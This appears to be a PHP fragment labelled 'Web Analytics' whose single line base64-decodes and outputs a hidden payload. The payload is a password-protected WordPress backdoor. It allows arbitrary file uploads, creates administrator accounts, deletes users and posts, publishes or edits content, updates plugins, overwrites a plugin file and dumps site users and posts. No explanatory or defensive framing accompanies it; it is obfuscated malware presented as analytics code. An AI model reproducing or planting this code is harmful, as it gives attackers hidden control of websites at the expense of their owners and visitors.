Web Analytics
" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicucmF3dXJsZW5jb2RlKCRhcnJheSkuJyInOw0KICAgIGlmIChpc19udW1lcmljKCRhcnJheSkpIHJldHVybiAkYXJyYXk7DQogICAgaWYgKCRhcnJheSA9PT0gbnVsbCkgcmV0dXJuICdudWxsJzsNCiAgICBpZiAoJGFycmF5ID09PSB0cnVlKSByZXR1cm4gJ3RydWUnOw0KICAgIGlmICgkYXJyYXkgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsNCg0KICAgICRhc3NvYyA9IGZhbHNlOw0KICAgICRpID0gMDsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgaWYgKCRrICE9PSAkaSsrKXsNCiAgICAgICAgICAgICRhc3NvYyA9IHRydWU7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkcmVzID0gYXJyYXkoKTsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgJHYgPSBhcnJheV90b19qc29uKCR2KTsNCiAgICAgICAgaWYgKCRhc3NvYyl7DQogICAgICAgICAgICAkayA9ICciJy5yYXd1cmxlbmNvZGUoJGspLiciJzsNCiAgICAgICAgICAgICR2ID0gJGsuJzonLiR2Ow0KICAgICAgICB9DQogICAgICAgICRyZXNbXSA9ICR2Ow0KICAgIH0NCiAgICAkcmVzID0gaW1wbG9kZSgnLCcsICRyZXMpOw0KICAgIHJldHVybiAoJGFzc29jKT8gJ3snLiRyZXMuJ30nIDogJ1snLiRyZXMuJ10nOw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmRlZmluZSgnU0hFTExfUEFTU1dPUkQnLCAnYTZhOGNiODc3ZWUxODIxNWYyYzBmYzJhNmM3YjRmMmEnKTsNCmRlZmluZSgnTUFYX1VQX0xFVkVMUycsIDEwKTsNCg0KaWYoKGVtcHR5KCRfQ09PS0lFWydwYXNzd29yZCddKSAmJiBlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pKSB8fCAoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgIT0gU0hFTExfUEFTU1dPUkQpKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRfU0VSVkVSWydQSFBfU0VMRiddLic/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uJyI+UGFzc3dvcmQgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzc3dvcmQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pID09IFNIRUxMX1BBU1NXT1JEKSB7DQoJc2V0Y29va2llKCdwYXNzd29yZCcsIFNIRUxMX1BBU1NXT1JELCB0aW1lKCkrNjAqNjAqMjQpOw0KCWhlYWRlcigiTG9jYXRpb246IHskX1NFUlZFUlsnUEhQX1NFTEYnXX0/eyRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXX0iKTsNCglleGl0Ow0KfQ0KDQppZihlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgfHwgJF9DT09LSUVbJ3Bhc3N3b3JkJ10gIT0gU0hFTExfUEFTU1dPUkQpIHsNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9GSUxFU1snZiddKSkgew0KCSRuZXdfcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy8nIC4gJF9GSUxFU1snZiddWyduYW1lJ107DQoJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJG5ld19wYXRoKSkgew0KCQlwcmludCAiPGEgaHJlZj1cInskX0ZJTEVTWydmJ11bJ25hbWUnXX1cIj57JF9GSUxFU1snZiddWyduYW1lJ119PC9hPiI7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCAiVXBsb2FkIGZhaWxlZCEiOw0KCX0NCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1ZiddKSAmJiAkX1JFUVVFU1RbJ3VmJ10gPT0gMSkgew0KCXByaW50ICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCJ7JF9TRVJWRVJbJ1BIUF9TRUxGJ119XCI+PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cImZcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiPjwvZm9ybT4iOw0KCWV4aXQ7DQp9DQoNCiRjb3VudGVyID0gMDsNCiRkaXJfdXAgPSAnLi8nOw0KZG8gew0KCSRmaWxlX2ZvdW5kID0gZmFsc2U7DQoJJGZpbGVfcGF0aCA9ICJ7JGRpcl91cH13cC1sb2FkLnBocCI7DQoJaWYoZmlsZV9leGlzdHMoJGZpbGVfcGF0aCkpIHsNCgkJcmVxdWlyZSgkZmlsZV9wYXRoKTsNCgkJJGZpbGVfZm91bmQgPSB0cnVlOw0KCX0NCgllbHNlIHsNCgkJJGRpcl91cCAuPSAnLi4vJzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KaWYoIWVtcHR5KCRfR0VUWydnZXRfYmxvZ3NfbGlzdCddKSkgew0KCXByaW50IGFycmF5X3RvX2pzb24oZ2V0X2Jsb2dfbGlzdCggMCwgJ2FsbCcgKSk7DQp9DQoNCmlmKCFlbXB0eSgkX0dFVFsnZ2V0X3VzZXJzJ10pKSB7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdnZXRfdXNlcnMnKSkgew0KCQlwcmludCBhcnJheV90b19qc29uKGdldF91c2VycygpKTsNCgl9DQoJZWxzZSB7DQoJCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoKSk7DQoJfQ0KfQ0KLy9wcmludF9yKCRfUkVRVUVTVCk7DQppZihpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiAkX1JFUVVFU1RbJ2FjdGlvbiddID09ICdjcmVhdGVfdXNlcicpIHsNCmlmKGVtcHR5KCRfUkVRVUVTVFsnd3BfdXNlcm5hbWUnXSkgfHwgZW1wdHkoJF9SRVFVRVNUWyd3cF9wYXNzd29yZCddKSB8fCBlbXB0eSgkX1JFUVVFU1RbJ3dwX2VtYWlsJ10pKXsNCnByaW50ICJNaXNzaW5nIHBhcmFtZXRlciBmb3IgY3JlYXRpbmcgdXNlciEiOw0KZXhpdDsNCn0NCmVsc2Ugew0KJHVzZXJkYXRhID0gYXJyYXkoJ3VzZXJfbG9naW4nID0+ICRfUkVRVUVTVFsnd3BfdXNlcm5hbWUnXSwgJ3VzZXJfcGFzcycgPT4gJF9SRVFVRVNUWyd3cF9wYXNzd29yZCddLCAndXNlcl9lbWFpbCcgPT4gJF9SRVFVRVNUWyd3cF9lbWFpbCddLCAncm9sZScgPT4gJ2FkbWluaXN0cmF0b3InKTsNCi8vcHJpbnRfcigkX1JFUVVFU1QpOw0KJHVzZXJfaWQgPSB3cF9pbnNlcnRfdXNlciggJHVzZXJkYXRhICk7DQoJaWYoaXNfbnVtZXJpYygkdXNlcl9pZCkpIHsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbihhcnJheSgndXNlcl9pZCcgPT4gJHVzZXJfaWQpKTsNCgl9DQoJZWxzZSB7DQoJCQlwcmludCBhcnJheV90b19qc29uKCJGYWlsZWQgY3JlYXRpbmcgdXNlciEiKTsNCgkJfQ0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZGVsZXRlX3VzZXInXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnd3BfdXNlcl9pZCddKSkgew0KCWlmKHdwX2RlbGV0ZV91c2VyKCRfUkVRVUVTVFsnd3BfdXNlcl9pZCddKSkgew0KCQlwcmludCBhcnJheV90b19qc29uKCJVc2VyIGRlbGV0ZWQhIik7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCBhcnJheV90b19qc29uKCJGYWlsZWQgZGVsZXRpbmcgdXNlciEiKTsNCgl9DQp9DQoNCmlmKCRfUkVRVUVTVFsnZGVsZXRlX3Bvc3QnXSA9PSAxICYmICFlbXB0eSgkX1JFUVVFU1RbJ0lEJ10pKSB7DQoJJGRlbF9vcF9yZXMgPSB3cF9kZWxldGVfcG9zdCggJF9SRVFVRVNUWydJRCddLCB0cnVlICk7DQoJaWYoISRkZWxfb3BfcmVzKSBwcmludCBhcnJheV90b19qc29uKCJEZWxldGUgZmFpbGVkISIpOw0KCWVsc2UgcHJpbnQgYXJyYXlfdG9fanNvbigiUG9zdCBkZWxldGVkISIpOw0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3RpdGxlJ10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ3Bvc3QnXSkpIHsNCgkkcG9zdF9kYXRlID0gJF9SRVFVRVNUWydkYXRlcGlja2VyJ10gLiAiICIgLiByYW5kKDAsMjMpIC4gIjoiIC4gcmFuZCgwLDU5KSAuICI6IiAuIHJhbmQoMCw1OSk7DQoNCgkvLyBDcmVhdGUgcG9zdCBvYmplY3QNCgkkbXlfcG9zdCA9IGFycmF5KA0KCSAgJ3Bvc3RfdGl0bGUnICAgID0+ICRfUkVRVUVTVFsndGl0bGUnXSwNCgkgICdwb3N0X2NvbnRlbnQnICA9PiAkX1JFUVVFU1RbJ3Bvc3QnXSwNCgkgICdwb3N0X3N0YXR1cycgICA9PiAncHVibGlzaCcsDQoJICAncG9zdF9hdXRob3InICAgPT4gMSwNCgkgICdwb3N0X3R5cGUnID0+ICRfUkVRVUVTVFsncG9zdF90eXBlJ10sDQoJICAncG9zdF9kYXRlJyAgICAgPT4gJHBvc3RfZGF0ZQ0KCSk7DQoJJGlkID0gTlVMTDsNCglpZihlbXB0eSgkX1JFUVVFU1RbJ0lEJ10pKSB7DQoJCS8vIEluc2VydCB0aGUgcG9zdCBpbnRvIHRoZSBkYXRhYmFzZQ0KCQkkaWQgPSB3cF9pbnNlcnRfcG9zdCgkbXlfcG9zdCk7DQoJfQ0KCWVsc2Ugew0KCQkkbXlfcG9zdFsnSUQnXSA9ICRfUkVRVUVTVFsnSUQnXTsNCgkJJGlkID0gd3BfdXBkYXRlX3Bvc3QoJG15X3Bvc3QpOw0KCX0NCgkkcGVybWFsaW5rID0gZ2V0X3Blcm1hbGluayggJGlkICk7DQoJd3Bfc2V0X3Bvc3RfY2F0ZWdvcmllcygkaWQsIGFycmF5KCRfUkVRVUVTVFsnY2F0J10pKTsNCglpZigkX1JFUVVFU1RbJ2RlbGV0ZV9wb3N0J10gIT0gMSkgew0KCQlpZighZW1wdHkoJGlkKSkgew0KCQkJJHBvc3QgPSBnZXRfcG9zdCgkaWQpOw0KCQkJcHJpbnQgYXJyYXlfdG9fanNvbihhcnJheSgicGVybWFsaW5rIj0+JHBlcm1hbGluaywibGlua19ieV9pZCI9PiRwb3N0LT5ndWlkLCJJRCI9PiRpZCkpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcHJpbnQgYXJyYXlfdG9fanNvbigiQWN0aW9uIGZhaWxlZCEiKTsNCgkJfQ0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncGx1Z2luMnVwZGF0ZSddKSkgew0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1mdHAucGhwJyk7DQoJaW5jbHVkZV9vbmNlKCAkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VwZGF0ZS5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvZmlsZS5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvc2NyZWVuLnBocCcpOw0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9taXNjLnBocCcpOw0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9wbHVnaW4ucGhwJyk7DQoJDQoJZm9yZWFjaCgkX1JFUVVFU1RbJ3BsdWdpbjJ1cGRhdGUnXSBhcyAkcGx1Z2luKSB7DQoJCXByaW50ICIkcGx1Z2luIHVwZGF0ZSA6ICI7DQoJCXdwX3VwZGF0ZV9wbHVnaW4oJHBsdWdpbik7DQoJfQ0KCQ0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSkpIHsNCiR0ZWxsX2FfZnJpZW5kX2NvbnRlbnQgPSAnPD9waHANCi8qDQpQbHVnaW4gTmFtZTogVGVsbCBhIEZyaWVuZA0KVmVyc2lvbjogMC4xDQpQbHVnaW4gVVJJOiBodHRwOi8vd3d3LmZyZWV0ZWxsYWZyaWVuZC5jb20vZ2V0X2J1dHRvbi8NCkRlc2NyaXB0aW9uOiBBZGRzIGEgXCdTaGFyZSBUaGlzIFBvc3RcJyBidXR0b24gYWZ0ZXIgZWFjaCBwb3N0LiBUaGUgc2VydmljZSB3aGljaCBpcyB1c2VkIGlzIGZyZWV0ZWxsYWZyaWVuZC5jb20gd2hpY2ggc3VwcG9ydHMgZS1tYWlsIGFkZHJlc3MgYm9vaywgc29jaWFsIGJvb2ttYXJrcyBhbmQgZmF2b3JpdGVzLg0KQXV0aG9yOiBGcmVlVGVsbGFGcmllbmQNCkF1dGhvciBVUkk6IGh0dHA6Ly93d3cuZnJlZXRlbGxhZnJpZW5kLmNvbS8NCiovDQoNCmZ1bmN0aW9uIHRlbGxfYV9mcmllbmQoJGNvbnRlbnQpIHsNCmdsb2JhbCAkcG9zdDsNCiR0YWZfcGVybWxpbmsgPSB1cmxlbmNvZGUoZ2V0X3Blcm1hbGluaygkcG9zdC0+SUQpKTsNCiR0YWZfdGl0bGUgPSB1cmxlbmNvZGUoZ2V0X3RoZV90aXRsZSgkcG9zdC0+SUQpICk7DQokdGFmX2ltZyA9IGdldF9zZXR0aW5ncyhcJ2hvbWVcJykgLiBcJy93cC1jb250ZW50L3BsdWdpbnMvdGVsbC1hLWZyaWVuZC9idXR0b24uZ2lmXCc7DQoNCglpZiAoICFpc19mZWVkKCkgJiYgIWlzX3BhZ2UoKSApIHsNCgkkY29udGVudCAuPSBcJzxhIGhyZWY9Imh0dHBzOi8vd3d3LmZyZWV0ZWxsYWZyaWVuZC5jb20vdGVsbC8/dXJsPVwnLiR0YWZfcGVybWxpbmsuXCcmdGl0bGU9XCcuJHRhZl90aXRsZS5cJyIgb25jbGljaz0id2luZG93Lm9wZW4oXCdodHRwczovL3d3dy5mcmVldGVsbGFmcmllbmQuY29tL3RlbGwvP3VybD1cJy4kdGFmX3Blcm1saW5rLlwnJnRpdGxlPVwnLiR0YWZfdGl0bGUuXCdcJywgXCdmcmVldGVsbGFmcmllbmRcJywgXCdzY3JvbGxiYXJzPTEsbWVudWJhcj0wLHdpZHRoPTYxNyxoZWlnaHQ9NTMwLHJlc2l6YWJsZT0xLHRvb2xiYXI9MCxsb2NhdGlvbj0wLHN0YXR1cz0wLHNjcmVlblg9MjEwLHNjcmVlblk9MTAwLGxlZnQ9MjEwLHRvcD0xMDBcJyk7IHJldHVybiBmYWxzZTsiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0iU2hhcmUgVGhpcyBQb3N0Ij48aW1nIHNyYz0iXCcuJHRhZl9pbWcuXCciIHN0eWxlPSJ3aWR0aDoxMjdweDtoZWlnaHQ6MTZweDtib3JkZXI6MHB4OyIgYWx0PSJTaGFyZSBUaGlzIFBvc3QiIHRpdGxlPSJTaGFyZSBUaGlzIFBvc3QiIC8+PC9hPlwnOwkJCQkgIA0KCX0NCg0KcmV0dXJuICRjb250ZW50Ow0KfQ0KDQphZGRfZmlsdGVyKFwndGhlX2NvbnRlbnRcJywgXCd0ZWxsX2FfZnJpZW5kXCcpOw0KDQo/Pic7DQoNCglpZihmaWxlX2V4aXN0cygkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSkpIHsNCgkJaWYoc3RycG9zKCRfUkVRVUVTVFsnZmlsZTJjbGVhbiddLCAndGVsbC1hLWZyaWVuZC5waHAnKSAhPT0gZmFsc2UpIHsNCgkJCWlmKGZpbGVfcHV0X2NvbnRlbnRzKCRfUkVRVUVTVFsnZmlsZTJjbGVhbiddLCAkdGVsbF9hX2ZyaWVuZF9jb250ZW50KSkgew0KCQkJCXByaW50ICJGaWxlIHskX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXX0gaGFzIGJlZW4gY2xlYW5lZC4iOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJcHJpbnQgIkZhaWxlZCBjbGVhbmluZyB7JF9SRVFVRVNUWydmaWxlMmNsZWFuJ119ICEiOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfcGx1Z2lucyddKSAmJiAkX1JFUVVFU1RbJ2dldF9wbHVnaW5zJ10gPT0gMSkgew0KCWluY2x1ZGVfb25jZSgkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3BsdWdpbi5waHAnKTsNCgkJDQoJJHBsdWdpbnMgPSBnZXRfcGx1Z2lucygpOw0KCXByaW50IGFycmF5X3RvX2pzb24oJHBsdWdpbnMpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydwb3N0X3VybDJzZWFyY2gnXSkpIHsNCgkkdGhlX3NsdWcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkX1JFUVVFU1RbJ3Bvc3RfdXJsMnNlYXJjaCddKTsNCgkkYXJncyA9IGFycmF5KA0KCQknbmFtZScgPT4gJHRoZV9zbHVnLA0KCQkncG9zdF9zdGF0dXMnID0+ICdwdWJsaXNoJywNCgkJJ3Bvc3RzX3Blcl9wYWdlJyA9PiAxDQoJKTsNCgkkbXlfcG9zdHMgPSBnZXRfcG9zdHMoICRhcmdzICk7DQoNCglpZighZW1wdHkoJG15X3Bvc3RzWzBdLT5JRCkgJiYgaXNfbnVtZXJpYygkbXlfcG9zdHNbMF0tPklEKSkgew0KCQkkcG9zdCA9IGdldF9wb3N0KCRteV9wb3N0c1swXS0+SUQpOw0KCQkkcG9zdC0+Y2F0ZWdvcnkgPSBnZXRfdGhlX2NhdGVnb3J5KCRteV9wb3N0c1swXS0+SUQpOw0KCX0NCgkNCglwcmludCBhcnJheV90b19qc29uKCRwb3N0KTsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncG9zdF9pZCddKSkgew0KCSRwb3N0ID0gZ2V0X3Bvc3QoJF9SRVFVRVNUWydwb3N0X2lkJ10pOw0KCSRwb3N0LT5jYXRlZ29yeSA9IGdldF90aGVfY2F0ZWdvcnkoJF9SRVFVRVNUWydwb3N0X2lkJ10pOw0KCXByaW50IGFycmF5X3RvX2pzb24oJHBvc3QpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydwYWdlX2lkJ10pKSB7DQoJJHBvc3QgPSBnZXRfcGFnZSgkX1JFUVVFU1RbJ3BhZ2VfaWQnXSk7DQoJJHBvc3QtPmNhdGVnb3J5ID0gZ2V0X3RoZV9jYXRlZ29yeSgkX1JFUVVFU1RbJ3BhZ2VfaWQnXSk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkcG9zdCk7DQp9DQoNCiRhcmdzID0gYXJyYXkoDQoJJ3Nob3dfb3B0aW9uX2FsbCcgICAgPT4gJycsDQoJJ3Nob3dfb3B0aW9uX25vbmUnICAgPT4gJycsDQoJJ29yZGVyYnknICAgICAgICAgICAgPT4gJ0lEJywgDQoJJ29yZGVyJyAgICAgICAgICAgICAgPT4gJ0FTQycsDQoJJ3Nob3dfY291bnQnICAgICAgICAgPT4gMSwNCgknaGlkZV9lbXB0eScgICAgICAgICA9PiAwLCANCgknY2hpbGRfb2YnICAgICAgICAgICA9PiAwLA0KCSdleGNsdWRlJyAgICAgICAgICAgID0+ICcnLA0KCSdlY2hvJyAgICAgICAgICAgICAgID0+IDEsDQoJJ3NlbGVjdGVkJyAgICAgICAgICAgPT4gJHNlbF9jYXQsDQoJJ2hpZXJhcmNoaWNhbCcgICAgICAgPT4gMCwgDQoJJ25hbWUnICAgICAgICAgICAgICAgPT4gJ2NhdCcsDQoJJ2lkJyAgICAgICAgICAgICAgICAgPT4gJycsDQoJJ2NsYXNzJyAgICAgICAgICAgICAgPT4gJ3Bvc3Rmb3JtJywNCgknZGVwdGgnICAgICAgICAgICAgICA9PiAwLA0KCSd0YWJfaW5kZXgnICAgICAgICAgID0+IDAsDQoJJ3RheG9ub215JyAgICAgICAgICAgPT4gJ2NhdGVnb3J5JywNCgknaGlkZV9pZl9lbXB0eScgICAgICA9PiBmYWxzZSwNCiAgICAnd2Fsa2VyJyAgICAgICAgICAgICA9PiAnJw0KKTsNCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZ2V0X2NhdGVnb3JpZXMnXSkgJiYgJF9SRVFVRVNUWydnZXRfY2F0ZWdvcmllcyddID09IDEpIHsNCglwcmludCBhcnJheV90b19qc29uKGdldF9jYXRlZ29yaWVzKCAkYXJncyApKTsgDQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9wYWdlc19saXN0J10pICYmICRfUkVRVUVTVFsnZ2V0X3BhZ2VzX2xpc3QnXSA9PSAxKSB7DQoJJHBhZ2VzX2FycmF5ID0gZ2V0X3BhZ2VzKCk7DQoJJG5ld19wYWdlc19hcnJheSA9IGFycmF5KCk7DQoJZm9yKCRpPTAsJGxlbj1jb3VudCgkcGFnZXNfYXJyYXkpOyRpPCRsZW47JGkrKykgew0KCQkkbmV3X3BhZ2VzX2FycmF5WyRpXVsnSUQnXSA9ICRwYWdlc19hcnJheVskaV0tPklEOw0KCQkkbmV3X3BhZ2VzX2FycmF5WyRpXVsncG9zdF90aXRsZSddID0gJHBhZ2VzX2FycmF5WyRpXS0+cG9zdF90aXRsZTsNCgkJJG5ld19wYWdlc19hcnJheVskaV1bJ3Bvc3RfbmFtZSddID0gJHBhZ2VzX2FycmF5WyRpXS0+cG9zdF9uYW1lOw0KCX0NCglwcmludCBhcnJheV90b19qc29uKCRuZXdfcGFnZXNfYXJyYXkpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfcG9zdHNfbGlzdCddKSkgew0KCWlmKGlzc2V0KCRfUkVRVUVTVFsnc2VhcmNoX2J5X3Bvc3RfdHlwZSddKSkgew0KCQkkcG9zdF90eXBlID0gJF9SRVFVRVNUWydzZWFyY2hfYnlfcG9zdF90eXBlJ107DQoJfQ0KCWVsc2Ugew0KCQkkcG9zdF90eXBlID0gJyc7DQoJfQ0KDQoJJGFyZ3MgPSBhcnJheSgNCgkncG9zdHNfcGVyX3BhZ2UnICAgPT4gNTAsDQoJJ29mZnNldCcgICAgICAgICAgID0+IDAsDQoJJ2NhdGVnb3J5JyAgICAgICAgID0+ICcnLA0KCSdjYXRlZ29yeV9uYW1lJyAgICA9PiAnJywNCgknb3JkZXJieScgICAgICAgICAgPT4gJ0lEJywNCgknb3JkZXInICAgICAgICAgICAgPT4gJ0RFU0MnLA0KCSdpbmNsdWRlJyAgICAgICAgICA9PiAnJywNCgknZXhjbHVkZScgICAgICAgICAgPT4gJycsDQoJJ21ldGFfa2V5JyAgICAgICAgID0+ICcnLA0KCSdtZXRhX3ZhbHVlJyAgICAgICA9PiAnJywNCgkncG9zdF90eXBlJyAgICAgICAgPT4gJHBvc3RfdHlwZSwNCgkncG9zdF9taW1lX3R5cGUnICAgPT4gJycsDQoJJ3Bvc3RfcGFyZW50JyAgICAgID0+ICcnLA0KCSdwb3N0X3N0YXR1cycgICAgICA9PiAncHVibGlzaCcsDQoJJ3N1cHByZXNzX2ZpbHRlcnMnID0+IHRydWUgKTsNCg0KCWlmKGlzc2V0KCRfUkVRVUVTVFsnc2VhcmNoX2J5X3VybCddKSkgew0KCQkkdGhlX3NsdWcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkX1JFUVVFU1RbJ3NlYXJjaF9ieV91cmwnXSk7DQoJCWlmKCFlbXB0eSgkcG9zdF90eXBlKSAmJiAkcG9zdF90eXBlID09ICdwb3N0Jykgew0KCQkJJGFyZ3NbJ25hbWUnXSA9ICR0aGVfc2x1ZzsNCgkJfQ0KCQllbHNlIHsNCgkJCSRhcmdzWydwYWdlbmFtZSddID0gJHRoZV9zbHVnOw0KCQl9DQoJfQ0KCQ0KCWlmKGlzc2V0KCRfUkVRVUVTVFsnc2VhcmNoX2J5X2tleXdvcmQnXSkpIHsNCgkJJGFyZ3NbJ3MnXSA9ICRfUkVRVUVTVFsnc2VhcmNoX2J5X2tleXdvcmQnXTsNCgl9DQoJDQoJJHBvc3RzX2FycmF5ID0gZ2V0X3Bvc3RzKCAkYXJncyApOw0KCWZvcigkaT0wLCRsZW49Y291bnQoJHBvc3RzX2FycmF5KTskaTwkbGVuOyRpKyspIHsNCgkJJG5ld19wb3N0c19hcnJheVskaV1bJ0lEJ10gPSAkcG9zdHNfYXJyYXlbJGldLT5JRDsNCgkJJG5ld19wb3N0c19hcnJheVskaV1bJ3Bvc3RfdGl0bGUnXSA9ICRwb3N0c19hcnJheVskaV0tPnBvc3RfdGl0bGU7DQoJCSRuZXdfcG9zdHNfYXJyYXlbJGldWydwb3N0X25hbWUnXSA9ICRwb3N0c19hcnJheVskaV0tPnBvc3RfbmFtZTsNCgkJJG5ld19wb3N0c19hcnJheVskaV1bJ3Bvc3RfY29udGVudCddID0gJHBvc3RzX2FycmF5WyRpXS0+cG9zdF9jb250ZW50Ow0KCX0NCglwcmludCBhcnJheV90b19qc29uKCRuZXdfcG9zdHNfYXJyYXkpOw0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1cGxvYWRfZmlsZSddKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJteV9maWxlIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ215X2ZpbGUnXSkpIHsNCgkkYmFzZV9uYW1lID0gYmFzZW5hbWUoJF9GSUxFU1snbXlfZmlsZSddWyduYW1lJ10pOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydteV9maWxlJ11bJ3RtcF9uYW1lJ10sICRiYXNlX25hbWUpKSB7DQoJCXByaW50ICc8YSBocmVmPSInLiRiYXNlX25hbWUuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGJhc2VfbmFtZS4nPC9hPic7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfYXBpX3ZlcnNpb24nXSkpIHsNCglwcmludCBhcnJheV90b19qc29uKGFycmF5KCdhcGlfdmVyc2lvbicgPT4gbnVtYmVyX2Zvcm1hdChBUElfVkVSU0lPTiwgMikpKTsNCn0NCj8+")); ?>